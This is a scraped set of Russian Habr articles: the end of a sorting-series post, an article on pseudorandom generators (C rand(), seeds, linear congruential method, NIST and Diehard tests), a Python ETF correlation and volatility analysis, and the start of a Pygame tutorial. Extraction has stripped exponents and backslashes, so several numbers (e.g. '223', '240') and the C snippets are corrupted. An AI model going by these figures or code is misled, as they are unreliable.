* Какая сортировка наихудшая — придурковатая, вялая или туповатая?
* Сильно ли помогают оптимизации и модификации пузырьковой сортировке?
* При каких условиях медленные алгоритмы легко уделают по скорости QuickSort?
И когда мы выясним ответы на эти важнейшие вопросы, сможем приступить к изучению следующего класса — сортировок вставками.
Ссылки
======
[Excel-приложение AlgoLab](https://habr.com/post/414447/), с помощью которого можно в пошаговом режиме просмотреть визуализацию этих (и не только этих) сортировок.
**Вики/Wiki** — [Придурковатая](https://ru.wikipedia.org/wiki/Stooge_sort)/[Stooge](https://en.wikipedia.org/wiki/Stooge_sort), [Slow](https://en.wikipedia.org/wiki/Slowsort), [Гномья](https://ru.wikipedia.org/wiki/%D0%93%D0%BD%D0%BE%D0%BC%D1%8C%D1%8F_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0)/[Gnome](https://en.wikipedia.org/wiki/Gnome_sort), [Пузырьковая](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BF%D1%83%D0%B7%D1%8B%D1%80%D1%8C%D0%BA%D0%BE%D0%BC)/[Bubble](https://en.wikipedia.org/wiki/Bubble_sort), [Шейкер](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BF%D0%B5%D1%80%D0%B5%D0%BC%D0%B5%D1%88%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%D0%BC)/[Shaker](https://en.wikipedia.org/wiki/Cocktail_shaker_sort), [Чёт-нечет](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D1%87%D1%91%D1%82-%D0%BD%D0%B5%D1%87%D0%B5%D1%82)/[Odd-Even](https://en.wikipedia.org/wiki/Odd%E2%80%93even_sort), [Расчёска](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D1%80%D0%B0%D1%81%D1%87%D1%91%D1%81%D0%BA%D0%BE%D0%B9)/[Comb](https://en.wikipedia.org/wiki/Comb_sort), [Быстрая](https://ru.wikipedia.org/wiki/%D0%91%D1%8B%D1%81%D1%82%D1%80%D0%B0%D1%8F_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0)/[Quick](https://en.wikipedia.org/wiki/Quicksort)
### Статьи серии
* [Excel-приложение AlgoLab.xlsm](https://habr.com/post/414447/)
* **Сортировки обменами**
+ [Сравнение сортировок обменами](https://habr.com/post/415691/)
* [Сортировки вставками](https://habr.com/post/415935/)
* [Сортировки выбором](https://habr.com/post/422085/)
* [Сортировки слиянием](https://habr.com/post/431964/)
* [Сортировки распределением](https://habr.com/ru/post/472466/)
* [Гибридные сортировки](https://habr.com/ru/post/483786/) | https://habr.com/ru/post/414653/ | null | ru | null |
# Краеугольный камень псевдослучайности: с чего начинается поиск чисел
([с](https://www.pinterest.com/pin/442408363382585457/))
Случайные числа постоянно генерируются каждой машиной, которая может обмениваться данными. И даже если она не обменивается данными, каждый компьютер нуждается в случайности для распределения программ в памяти. При этом, конечно, компьютер, как детерминированная система, не может создавать истинные случайные числа.
Когда речь заходит о генераторах случайных (или псевдослучайных) чисел, рассказ всегда строится вокруг поиска истинной случайности. Пока серьезные математики десятилетиями ведут дискуссии о том, что считать случайностью, в практическом отношении мы давно научились использовать «правильную» энтропию. Впрочем, «шум» — это лишь вершина айсберга.
С чего начать, если мы хотим распутать клубок самых сильных алгоритмов PRNG и TRNG? На самом деле, с какими бы алгоритмами вы не имели дело, все сводится к трем китам: seed, таблица предопределенных констант и математические формулы.
Каким бы ни был seed, еще есть алгоритмы, участвующие в генераторах истинных случайных чисел, и такие алгоритмы никогда не бывают случайными.
Что такое случайность
---------------------
Первое подходящее определение случайной последовательности дал в 1966 году шведский статистик Пер Мартин-Лёф, ученик одного из крупнейших математиков XX века Андрея Колмогорова. Ранее исследователи пытались определить случайную последовательность как последовательность, которая проходила все тесты на случайность.
Основная идея Мартина-Лёфа заключалась в том, чтобы использовать [теорию вычислимости](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D0%B2%D1%8B%D1%87%D0%B8%D1%81%D0%BB%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8) для формального определения понятия теста случайности. Это контрастирует с идеей случайности в вероятности; в этой теории ни один конкретный элемент пространства выборки не может быть назван случайным.
«Случайная последовательность» в представлениях Мартина-Лёфа должна быть типичной, т.е. не должна обладать индивидуальными отличительными особенностями.
Было показано, что случайность Мартина-Лёфа допускает много эквивалентных характеристик, каждая из которых удовлетворяет нашему интуитивному представлению о свойствах, которые должны иметь случайные последовательности:
* несжимаемость;
* прохождение статистических тестов для случайности;
* сложность создания прогнозов.
Существование множественных определений рандомизации Мартина-Лёфа и устойчивость этих определений при разных моделях вычислений свидетельствуют о том, что случайность Мартина-Лёфа является фундаментальным свойством математики.
Seed: основа псевдослучайных алгоритмов
---------------------------------------
Первые алгоритмы формирования случайных чисел выполняли ряд основных арифметических действий: умножить, разделить, добавить, вычесть, взять средние числа и т.д. Сегодня такие мощные алгоритмы, как Fortuna и Yarrow (используется в FreeBSD, AIX, Mac OS X, NetBSD) выглядят как генераторы случайных чисел для параноиков. Fortuna, например, это криптографический генератор, в котором для защиты от дискредитации после выполнения каждого запроса на случайные данные в размере 220 байт генерируются еще 256 бит псевдослучайных данных и используются в качестве нового ключа шифрования — старый ключ при этом каждый раз уничтожается.
Прошли годы, прежде чем простейшие алгоритмы эволюционировали до криптографически стойких генераторов псевдослучайных чисел. Частично этот процесс можно проследить на примере работы одной математической функции в языке С.
Функция rand () является простейшей из функций генерации случайных чисел в C.
```
#include
#include
int main()
{
int r,a,b;
puts("100 Random Numbers");
for(a=0;a<20;a++)
{
for(b=0;b<5;b++)
{
r=rand();
printf("%dt",r);
}
putchar('n');
}
return(0);
}
```
В этом примере рандома используется вложенный цикл для отображения 100 случайных значений. Функция rand () хороша при создании множества случайных значений, но они являются предсказуемыми. Чтобы сделать вывод менее предсказуемым, вам нужно добавить seed в генератор случайных чисел — это делается с помощью функции srand ().
*Seed — это стартовое число, точка, с которой начинается последовательность псевдослучайных чисел. Генератор псевдослучайных чисел использует единственное начальное значение, откуда и следует его псевдослучайность. Генератор истинных случайных чисел всегда имеет в начале высококачественную случайную величину, предоставленную различными источниками энтропии.*
```
#include
#include
int main()
{
unsigned seed;
int r,a,b;
printf("Input a random number seed: ");
scanf("%u",&seed);
srand(seed);
for(a=0;a<20;a++)
{
for(b=0;b<5;b++)
{
r=rand();
printf("%dt",r);
}
putchar('n');
}
return(0);
}
```
srand() принимает число и ставит его в качестве отправной точки. Если seed не выставить, то при каждом запуске программы мы будем получать одинаковые случайные числа.
Вот пример простой формулы случайного числа из «классики» — книги «Язык программирования C» Кернигана и Ричи, первое издание которой вышло аж в 1978 году:
```
int rand() { random_seed = random_seed * 1103515245 +12345;
return (unsigned int)(random_seed / 65536) % 32768; }
```
Эта формула предполагает существование переменной, называемой random\_seed, изначально заданной некоторым числом. Переменная random\_seed умножается на 1 103 535 245, а затем 12 345 добавляется к результату; random\_seed затем заменяется этим новым значением. Это на самом деле довольно хороший генератор псевдослучайных чисел. Если вы используете его для создания случайных чисел от 0 до 9, то первые 20 значений, которые он вернет при seed = 10, будут такими:
```
44607423505664567674
```
Если у вас есть 10 000 значений от 0 до 9, то распределение будет следующим:
0 — 10151 — 10242 — 10483 — 9964 — 9885 — 10016 — 9967 — 10068 — 9659 — 961
Любая формула псевдослучайных чисел зависит от начального значения. Если вы предоставите функции rand() seed 10 на одном компьютере, и посмотрите на поток чисел, которые она производит, то результат будет идентичен «случайной последовательности», созданной на любом другом компьютере с seed 10.
К сожалению, у генератора случайных чисел есть и другая слабость: вы всегда можете предсказать, что будет дальше, основываясь на том, что было раньше. Чтобы получить следующее число в последовательности, мы должны всегда помнить последнее внутреннее состояние генератора — так называемый state. Без state мы будем снова делать одну и ту же математическую операцию с одинаковыми числами, чтобы получить тот же ответ.
Как сделать seed уникальным для каждого случая? Самое очевидное решение — добавить в вычисления текущее системное время. Сделать это можно с помощью функции time().
```
#include
#include
#include
int main()
{
int r,a,b;
srand((unsigned)time(NULL));
for(a=0;a<20;a++)
{
for(b=0;b<5;b++)
{
r=rand();
printf("%dt",r);
}
putchar('n');
}
return(0);
}
```
Функция time() возвращает информацию о текущем времени суток, значение, которое постоянно изменяется. При этом метод typecasting гарантирует, что значение, возвращаемое функцией time(), является целым числом.
Итак, в результате добавления «случайного» системного времени функция rand() генерирует значения, которые являются более случайными, чем мы получили в первом примере.
Однако в этом случае seed можно угадать, зная системное время или время запуска приложения. Как правило, для приложений, где случайные числа являются абсолютно критичными, лучше всего найти альтернативное решение.
В .net framework есть [функция](https://blog.malwarebytes.com/cybercrime/2013/09/in-computers-are-random-numbers-really-random/) System.Security.Cryptography.RandomNumberGenerator, где в расчетах учитываются следующие факторы:
* ID текущего процесса;
* текущий ID потока;
* количество отсчетов с момента загрузки;
* текущее время;
* различные высокоточные счетчики производительности процессора;
* MD4-хэш среды пользователя (имя пользователя, имя компьютера и т.д.).
Но опять же, все эти числа не случайны.
Лучшее, что вы можете сделать с детерминированными генераторами псевдослучайных чисел — добавить энтропию физических явлений.
Период (цикл) генератора
------------------------
Одними из наиболее часто используемых методов генерации псевдослучайных чисел являются различные модификации [линейного конгруэнтного метода](http://www.quizful.net/post/programming-random-number-generator-on-cpp), схема которого была предложена Дерриком Лемером еще в 1949 году:
Xn+1 = (aXn + c) mod m, где m — модуль, a — множитель, c — приращение, mod — операция взятия остатка от деления. Причем m > 0, 0 < a ≤ m, 0 < c ≤ m, также задается начальное значение X0: 0 < X0 ≤ m.
Линейный конгруэнтный метод дает нам повторяющиеся последовательности — конгруэнтная последовательность всегда образует «петли». Этот цикл (период), повторяющийся бесконечное число раз — свойство всех последовательностей вида Xn+1 = f(n).
В языке С линейно-конгруэнтный метод реализован в уже знакомой вам функции rand():
```
#define RAND_MAX 32767
unsigned long next=1;
int rand(void)
{ next=next*1103515245+12345;
return((unsigned int)(next/65536)%RAND_MAX);}
void srand(unsigned int seed)
{ next=seed; }
```
Что вообще такое цикл с точки зрения случайных чисел? Период — это количество чисел, которое генерируется до того, как они вернутся в той же последовательности. Для примера число периодов в шифре А5 в среднем [составляет](http://lectoriy.mipt.ru/file/synopsis/pdf/CompTech-InforSecur-M04-Vladim-130928.01.pdf) 223, а сложность атаки 240, что позволяет взломать его на любом персональном компьютере.
Рассмотрим случай, когда seed равен 1, а период — 100 (на языке Haskell):
```
random i = (j, ans)
where j = 7 * i `mod` 101
ans = (j — 1) `mod` 10 + 1 — just the ones place, but 0 means 10
```
В результате мы получим следующий ответ:
```
random 1 —> ( 7, 7)
random 7 —> (49, 9)
random 49 —> (40, 10)
random 40 —> (78, 8)
random 78 —> (41, 1)
random 41 —> (85, 5)
random 85 —> (90, 10)
random 90 —> (24, 4)
random 24 —> (67, 7)
random 67 —> (65, 5)
random 65 —> (51, 1)
```
Это лишь пример и подобную структуру в реальной жизни не используют. В Haskell, если вы хотите построить случайную последовательность, можно воспользоваться следующим кодом:
```
random :: StdGen —> (Int, StdGen)
```
Выбор случайного Int дает вам обратно Int и новый StdGen, который вы можете использовать для получения более псевдослучайных чисел. Многие языки программирования, включая Haskell, имеют генераторы случайных чисел, которые автоматически запоминают свое состояние (в Haskell это randomIO).
Чем больше величина периода, тем выше надежность создания хороших случайных значений, однако даже с миллиардами циклов крайне важно использовать надежный seed. Реальные генераторы случайных чисел обычно используют атмосферный шум (поставьте сюда любое физическое явление — от движения мыши пользователя до радиоактивного распада), но мы можем и схитрить программным методом, добавив в seed асинхронные потоки различного мусора, будь то длины интервалов между последними heartbeat потоками или временем ожидания mutual exclusion (а лучше добавить все вместе).
Истинная случайность бит
------------------------
Итак, получив seed с примесью данных от реальных физических явлений (либо максимально усложнив жизнь будущему взломщику самым большим набором потоков программного мусора, который только сможем придумать), установив state для защиты от ошибки повтора значений и добавив криптографических алгоритмов (или сложных математических задач), мы получим некоторый набор данных, который будем считать случайной последовательностью. Что дальше?
Дальше мы возвращаемся к самому началу, к одному из фундаментальных требований — тестам.
Национальный институт стандартов и технологий США вложил в «[Пакет статистических тестов для случайных и псевдослучайных генераторов чисел для криптографических приложений](https://csrc.nist.gov/projects/random-bit-generation/documentation-and-software)» 15 базовых проверок. Ими можно и ограничиться, но этот пакет вовсе не является «вершиной» проверки случайности.
Одни из самых строгих статистических тестов предложил профессор Джордж Марсалья из Университета штата Флорида. «[Тесты diehard](http://webhome.phy.duke.edu/~rgb/General/dieharder.php)» включают 17 различных проверок, некоторые из них требуют очень длинных последовательностей: минимум 268 мегабайт.
Случайность можно проверить с помощью библиотеки [TestU01](http://simul.iro.umontreal.ca/testu01/tu01.html), представленной Пьером Л’Экуйе и Ричардом Симардом из Монреальского университета, включающей классические тесты и некоторые оригинальные, а также посредством общедоступной библиотеки [SPRNG](https://dl.acm.org/citation.cfm?id=365738).
[Еще один полезный сервис](http://www.fourmilab.ch/random.) для количественного измерения случайности. | https://habr.com/ru/post/351282/ | null | ru | null |
# Анализ и визуализация данных в финансах — анализ ETF с использованием Python
С проникновением аналитики во многие сферы нашей жизни она не могла обойти стороной финансы. В этой статье рассмотрим ее применение для анализа ETF с целью их анализа, в том числе и с применением визуализиции.
**1. О данных**
Для анализа будем использовать данные ETF c базовой валютой USD: FXCN, FXRL, FXIT, FXUS и FXRU. Временной ряд рассмотрим за три года с 2018 по 2020 года. Само исследование проведем в Google Colaboratory.
Как обычно в начале импортируем все необходимые библиотеки для дальнейшей работы.
```
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from google.colab import files
import warnings
warnings.filterwarnings("ignore")
```
Сначала необходимо получить данные. Есть несколько способов. Мы воспользовались — взяли их с Finam в формате csv. Дальше написали функцию для обработки полученных данных и при помощи concat свел их в один датафрейм.
```
def changeDF(df):
df['date'] = pd.to_datetime(df[''].astype(str), dayfirst=True)
name =[x for x in globals() if globals()[x] is df][0]
df = df.drop(['','', '', '', ''], axis=1)
df = df.set\_index(['date'])
df.columns = [name+'\_cl', name + '\_vol']
return df
fxgd\_change = changeDF(fxgd)
fxrl\_change = changeDF(fxrl)
fxit\_change = changeDF(fxit)
fxus\_change = changeDF(fxus)
fxru\_change = changeDF(fxru)
fxcn\_change = changeDF(fxcn)
etf = pd.concat([fxgd\_change, fxrl\_change, fxit\_change, fxus\_change, fxru\_change, fxcn\_change], axis=1)
etf.head()
```
В результате получили:
Дальше проверим наш датасет на предмет наличия значений NULL
```
print(etf.isnull().sum())
```
Выбросим их, чтоб не мешали в дальнейшем расчете:
```
etf.dropna(inplace=True, axis=0)
```
Дальше имеет смысл посмотреть тип значений:
```
etf.dtypes
```
И посмотрим размер датасета:
```
etf.shape
```
В результате получили (752, 12).
Так же дальше интересно посмотреть как вели себя ETF в последние полгода. Это можно сделать при помощи функции describe:
```
etf[-120:].describe()
```
В результате видно в каких пределах в последние полгода ETF провели большую часть времени с вероятностью 75%.
После построим графики движения цены во времени за прошедшие три года.
```
fig, axs = plt.subplots(3, 2, figsize=(15,15))
axs[0, 0].plot(etf.index, etf['fxgd_cl'], 'tab:blue' )
axs[0, 0].set_title('FXGD')
axs[0, 1].plot(etf.index, etf['fxrl_cl'], 'tab:orange')
axs[0, 1].set_title('FXRL')
axs[1, 0].plot(etf.index, etf['fxit_cl'], 'tab:green')
axs[1, 0].set_title('FXIT')
axs[1, 1].plot(etf.index, etf['fxus_cl'], 'tab:red')
axs[1, 1].set_title('FXUS')
axs[2, 0].plot(etf.index, etf['fxru_cl'], 'tab:grey')
axs[2, 0].set_title('FXRU')
axs[2, 1].plot(etf.index, etf['fxcn_cl'], 'tab:purple')
axs[2, 1].set_title('FXCN')
for ax in axs.flat:
ax.set(xlabel='Data', ylabel='Price')
for ax in axs.flat:
ax.label_outer()
```
Ежедневное процентное изменение цены etf вычисляется на основе процентного изменения между ценами закрытия 2 последовательных дней. Предположим, что цена закрытия вчера составляла 500 рублей, а сегодня она закрылась по 550 рублей. Таким образом, процентное изменение составляет 10%. т. е. ((550-500) / 500)\*100. Здесь нет никакой тайны!
Далее, мы введем новый столбец, обозначающий дневную доходность в цене etf. Вычислить можно с помощью встроенной функции pct\_change() в python. Так же немного переставлю колонки, чтоб визуально лучше воспринималось.
```
etf_cl = etf[['fxgd_cl', 'fxrl_cl', 'fxit_cl', 'fxus_cl', 'fxru_cl', 'fxcn_cl']]
etf_cl_pct = etf_cl.pct_change()*100
etf_cl_pct.columns = ['fxgd_cl_pct', 'fxrl_cl_pct', 'fxit_cl_pct', 'fxus_cl_pct', 'fxru_cl_pct', 'fxcn_cl_pct']
etf_vol = etf[['fxgd_vol', 'fxrl_vol', 'fxit_vol', 'fxus_vol', 'fxru_vol', 'fxcn_vol']]
etf_new = pd.concat([etf_cl, etf_vol, etf_cl_pct], axis = 1)
etf_new.head()
```
```
etf_new = etf_new.dropna()
```
Представим изменение ежедневной доходности в виде графика во времени:
```
fig, axs = plt.subplots(3, 2, figsize=(15,15))
axs[0, 0].plot(etf_new.index, etf_new['fxgd_cl_pct'], 'tab:blue')
axs[0, 0].set_title('FXGD')
axs[0, 1].plot(etf_new.index, etf_new['fxrl_cl_pct'], 'tab:orange')
axs[0, 1].set_title('FXRL')
axs[1, 0].plot(etf_new.index, etf_new['fxit_cl_pct'], 'tab:green')
axs[1, 0].set_title('FXIT')
axs[1, 1].plot(etf_new.index, etf_new['fxus_cl_pct'], 'tab:red')
axs[1, 1].set_title('FXUS')
axs[2, 0].plot(etf_new.index, etf_new['fxru_cl_pct'], 'tab:grey')
axs[2, 0].set_title('FXRU')
axs[2, 1].plot(etf_new.index, etf_new['fxcn_cl_pct'], 'tab:purple')
axs[2, 1].set_title('FXCN')
for ax in axs.flat:
ax.set(xlabel='Data', ylabel='Price')
for ax in axs.flat:
ax.label_outer()
```
В течение большей части времени доходность составляет от -2% до 2% со скачками без пересечения отметки в 6% с обеих сторон. Наиболее шумной выглядит ETF FXCN.
Так же можно проверить новостные статьи за те дни, когда наблюдался резкий рост/падение цен на etf и понять чем это было обусловлено.
Построим гистограмму распределения ежедневных доходов:
```
import seaborn as sns
sns.set(style="darkgrid")
fig, axs = plt.subplots(3, 2, figsize=(15,15))
sns.histplot(data=etf_new['fxgd_cl_pct'], kde=True, color="orange", ax=axs[0, 0])
axs[0,0].set_xlim(-10,10)
sns.histplot(data=etf_new['fxrl_cl_pct'], kde=True, color="olive", ax=axs[0, 1])
axs[0,1].set_xlim(-10,10)
sns.histplot(data=etf_new['fxit_cl_pct'], kde=True, color="gold", ax=axs[1, 0])
axs[1,0].set_xlim(-10,10)
sns.histplot(data=etf_new['fxus_cl_pct'], kde=True, color="grey", ax=axs[1, 1])
axs[1,1].set_xlim(-10,10)
sns.histplot(data=etf_new['fxru_cl_pct'], kde=True, color="teal", ax=axs[2, 0])
axs[2,0].set_xlim(-10,10)
sns.histplot(data=etf_new['fxcn_cl_pct'], kde=True, color="brown", ax=axs[2, 1])
axs[2,1].set_xlim(-10,10)
plt.show()
```
```
etf_new[['fxgd_cl_pct', 'fxrl_cl_pct', 'fxit_cl_pct', 'fxus_cl_pct', 'fxru_cl_pct', 'fxcn_cl_pct']].describe()
```
Гистограммы ежедневных доходностей центрированы вокруг среднего значения, которое для всех etf было больше нуля и говорит о положительном тренде. Видно, что доходность для всех ETF большую часть времени лежала в пределах от -2,5 до 2,5%. Наибольшую доходность показали — FXIT, а наименьшую — FXRU.
**2. Анализ тренда**
Затем мы добавляем новый столбец «Тренд», значения которого основаны на ежедневном процентном изменении, которое мы рассчитали выше. Дальше можно взглянуть как вели себя акции акцииETF в последние 3 года. Для этого их изменения можно визуализировать при помощи круговых диаграмм, где каждый сектор представляет процент дней, в течение которых происходил каждый тренд. Для построения будем использовать функцию groupby() со столбцом тренда.
```
def trend(x):
if x > -0.5 and x <= 0.5:
return 'Практически или без изменений'
elif x > 0.5 and x <= 1.5:
return 'Небольшой позитив'
elif x > -1.5 and x <= -0.5:
return 'Небольшой негатив'
elif x > 1.5 and x <= 2.5:
return 'Позитив'
elif x > -2.5 and x <= -1.5:
return 'Негатив'
elif x > 2.5 and x <= 5:
return 'Значительный позитив'
elif x > -5 and x <= -2.5:
return 'Значительный негатив'
elif x > 5:
return 'Максимальный позитив'
elif x <= -5:
return 'Максимальный негатив'
for stock in etf_trend.columns[12:]:
etf_trend["Trend_" + str(stock)] = np.zeros(etf_trend[stock].count())
etf_trend["Trend_"+ str(stock)] = etf_trend[stock].apply(lambda x:trend(x))
```
```
sns.set(style="darkgrid")
fig, axs = plt.subplots(3, 2, figsize=(20,17))
axs[0, 0].pie(etf_trend['Trend_fxgd_cl_pct'].value_counts(), labels = etf_trend['Trend_fxgd_cl_pct'].value_counts().index, autopct="%.1f%%")
axs[0, 0].set_title('FXGD')
axs[0, 1].pie(etf_trend['Trend_fxrl_cl_pct'].value_counts(), labels = etf_trend['Trend_fxrl_cl_pct'].value_counts().index, autopct="%.1f%%")
axs[0, 1].set_title('FXRL')
axs[1, 0].pie(etf_trend['Trend_fxit_cl_pct'].value_counts(), labels = etf_trend['Trend_fxit_cl_pct'].value_counts().index, autopct="%.1f%%")
axs[1, 0].set_title('FXIT')
axs[1, 1].pie(etf_trend['Trend_fxus_cl_pct'].value_counts(), labels = etf_trend['Trend_fxus_cl_pct'].value_counts().index, autopct="%.1f%%")
axs[1, 1].set_title('FXUS')
axs[2, 0].pie(etf_trend['Trend_fxru_cl_pct'].value_counts(), labels = etf_trend['Trend_fxru_cl_pct'].value_counts().index, autopct="%.1f%%")
axs[2, 0].set_title('FXRU')
axs[2, 1].pie(etf_trend['Trend_fxcn_cl_pct'].value_counts(), labels = etf_trend['Trend_fxcn_cl_pct'].value_counts().index, autopct="%.1f%%")
axs[2, 1].set_title('FXCN')
plt.show()
```
За рассматриваемый период с 2018 года по 2020 года большую часть времени ETF практически не изменялись, или изменялись незначительно при заданных параметрах. Так же важно отметить, что при небольших изменениях они как правило были позитивными. При более больших — это соотношение сохранялось кроме FXRU.
**3. Ежедневная доходность и объемы**
Следующим шагом продолжим работу с объемами:
```
sns.set(style="darkgrid")
fig, axs = plt.subplots(6, 1, figsize=(30,35))
axs[0].stem(etf_trend.index[-253:], etf_trend['fxgd_cl_pct'][-253:])
axs[0].plot((etf_trend['fxgd_vol']/10000)[-253:], color = 'green', alpha = 0.5)
axs[0].set_title('FXGD')
axs[1].stem(etf_trend.index[-253:], etf_trend['fxrl_cl_pct'][-253:])
axs[1].plot((etf_trend['fxrl_vol']/10000)[-253:], color = 'green', alpha = 0.5)
axs[1].set_title('FXRL')
axs[2].stem(etf_trend.index[-253:], etf_trend['fxit_cl_pct'][-253:])
axs[2].plot((etf_trend['fxit_vol']/10000)[-253:], color = 'green', alpha = 0.5)
axs[2].set_title('FXIT')
axs[3].stem(etf_trend.index[-253:], etf_trend['fxus_cl_pct'][-253:])
axs[3].plot((etf_trend['fxus_vol']/10000)[-253:], color = 'green', alpha = 0.5)
axs[3].set_title('FXUS')
axs[4].stem(etf_trend.index[-253:], etf_trend['fxru_cl_pct'][-253:])
axs[4].plot((etf_trend['fxru_vol']/10000)[-253:], color = 'green', alpha = 0.5)
axs[4].set_title('FXRU')
axs[5].stem(etf_trend.index[-253:], etf_trend['fxcn_cl_pct'][-253:])
axs[5].plot((etf_trend['fxcn_vol']/10000)[-253:], color = 'green', alpha = 0.5)
axs[5].set_title('FXCN')
```
Сопоставляя ежедневный объем торговли(зеленым цветом) с ежедневной доходностью(синим цветом), было отмечено, что часто для ETF характерно, что когда объем торгов высок, наблюдается сравнительно высокий рост или падение цены. Объем торгов ETF в сочетании с ростом или падениемы на данный инструмент является показателем доверия трейдеров и инвесторов к конкретному ETF.
**4. Корреляционный анализ ETF**
Основное правило диверсификации — не клади все яйца в одну корзинку. По этому если мы решили собирать портфель из ETF, то они не должны быть сильно взаимосвязаны друг с другом. Математическим языком — коэффициент корреляции Пирсона между любой парой должен быть близок к 0. Смысл — они не должны падать синхронно, чтоб инвестиции не превратились в 0.
Проанализировать корреляцию между различными ETF можно с помощью парной диаграммы Seaborn. Для удобства оставим только процентные изменения за день в отдельном новом датафрейме.
```
pct_chg_etf = etf_new[etf_new.columns[12:]]
sns.set(style = 'ticks', font_scale = 1.25)
sns.pairplot(pct_chg_etf)
plt.show()
```
На графике визуально можно увидеть наличие корреляции между различными ETF. Обратите внимание, что корреляционный анализ выполняется для ежедневного процентного изменения(дневной доходности) цены ETF, а не для их цены.
Из полученных графиков ясно видно, что следующие FXIT и FXUS не следует класть в одну корзину, так как между нми наблюдается сильная зависимость. Остальные могут быть включены в портфель, поскольку ни одна из двух оставшихся ETF не демонстрирует какой-либо существенной корреляции.
Но у визуального анализа есть существенный недостаток — он не предоставляет подробной информации о количественной оценки взаимосвязи, таких как значение R Пирсона и p нулевой гипотезы. В связи с чем при визуальном анализе остается под вопросом FXCN — есть ли у данного ETF сильная взаимосвязь с FXUS или нет.
Один из способов решения данного вопроса — построение графиков seaborn.jointplot с подробной информацией по значению R Пирсона (коэффициент корреляции Пирсона) для каждой пары ETF. Значение R Пирсона колеблется от -1 до 1. Отрицательное значение указывает на отрицательную линейную связь, в то время как положительное значение указывает на положительную связь. Значение R Пирсона ближе к 1 (или -1) указывает на сильную корреляцию, в то время как значение ближе к 0 указывает на слабую корреляцию.
Так же чем интересны данные графики — построение гистограмм распределения по краям, а так же значение p-value.
Но если рассматривать все пары, то нам потребуется большое количество графиков. По этому остановимся только на тех, которые вызывают сомнения:
```
from scipy.stats import stats
a_1 = pct_chg_etf.fxit_cl_pct
b_1 = pct_chg_etf.fxus_cl_pct
b_2 = pct_chg_etf.fxcn_cl_pct
g_1 = sns.jointplot('fxit_cl_pct', 'fxcn_cl_pct', pct_chg_etf, kind = 'scatter')
r_1, p_1 = stats.pearsonr(a_1, b_1)
g_1.ax_joint.annotate(f'$\\rho = {r_1:.3f}, p = {p_1:.3f}$',
xy=(0.1, 0.9), xycoords='axes fraction',
ha='left', va='center',
bbox={'boxstyle': 'round', 'fc': 'powderblue', 'ec': 'navy'})
g_1.ax_joint.scatter(a_1, b_1)
g_1.set_axis_labels(xlabel='fxit', ylabel='fxus', size=15)
g_2 = sns.jointplot('fxus_cl_pct', 'fxit_cl_pct', pct_chg_etf, kind = 'scatter')
r_2, p_2 = stats.pearsonr(a_1, b_2)
g_2.ax_joint.annotate(f'$\\rho = {r_2:.3f}, p = {p_2:.3f}$',
xy=(0.1, 0.9), xycoords='axes fraction',
ha='left', va='center',
bbox={'boxstyle': 'round', 'fc': 'powderblue', 'ec': 'navy'})
g_2.ax_joint.scatter(a_1, b_2)
g_2.set_axis_labels(xlabel='fxit', ylabel='fxcn', size=15)
plt.tight_layout()
plt.show()
```
Первый график подтвердил наличие сильной взаимосвязи между FXIT и FXUS, что говорит о нежелательности их брать в один портфель. В свою очередь корреляция между FXCN и FXIT оказалась ниже 0,7, что говорит о возможности совместного нахождения в одной корзине.
**5. Анализ волатильности**
Волатильность-один из важнейших показателей на финансовых рынках. Говорят, что ценная бумага обладает высокой волатильностью, если ее стоимость может резко измениться за короткий промежуток времени. С другой стороны, более низкая волатильность означает, что стоимость имеет тенденцию быть относительно стабильной в течение определенного периода времени. Эти изменения обусловлены несколькими факторами, включая спрос и предложение, настроения, жадность, страх и т.д. Математически волатильность измеряется с помощью статистической меры, называемой «стандартным отклонением», которая измеряет отклонение актива от его средней стоимости.
Произведем расчет 5-дневной скользящей средней дневной доходности и стандартного отклонения. После этого построим график. Все это можно выполнить при помощи функций Pandas rolling() и std().
```
sns.set(style="darkgrid")
fig, axs = plt.subplots(6, 1, figsize=(30,35))
for i, etf in enumerate(pct_chg_etf.columns):
axs[i].plot(pct_chg_etf[etf].rolling(5).std()*np.sqrt(5))
axs[i].plot(pct_chg_etf[etf].rolling(7).mean())
axs[i].set_title(etf[:4], size=20)
```
```
volatility = pct_chg_etf[['fxgd_cl_pct', 'fxrl_cl_pct', 'fxit_cl_pct', 'fxus_cl_pct','fxru_cl_pct', 'fxcn_cl_pct']].rolling(5).std()*np.sqrt(5)
volatility[:150].plot(linewidth=4, figsize = (35, 15))
plt.legend(loc=2, prop={'size': 16})
```
Как результат вы можете заметить, что наиболее сильная низкая волатильность характерна для ETF на российские еврооблигации — FXRU.
Многие трейдеры и инвесторы ищут инвестиции с более высокой волатильностью, чтобы получать более высокую прибыль. Если финансовый инструмент не движется, он не только обладает низкой волатильностью, но и имеет низкий потенциал прибыли. С другой стороны, ценные бумаги с очень высоким уровнем волатильности могут иметь огромный потенциал прибыли, но риск также высок. | https://habr.com/ru/post/583808/ | null | ru | null |
# Создание игр на Python 3 и Pygame: Часть 3
(Остальные части туториала: [первая](https://habrahabr.ru/post/347138/), [вторая](https://habrahabr.ru/post/347170/), [четвёртая](https://habrahabr.ru/post/347266/), [пятая](https://habrahabr.ru/post/347286/).)
Это третья из пяти частей туториала о создании игр с помощью Python 3 и Pygame. Во второй части мы рассмотрели класс `TextObject`, используемый для рендеринга текста на экран, создали основное окно и узнали, как отрисовывать объекты: кирпичи, мяч и ракетку.
В этой части мы погрузимся глубже в сердце Breakout и узнаем, как обрабатывать события, познакомимся с основным классом Breakout и увидим, как перемещать различные объекты в игре.
Обработка событий
-----------------
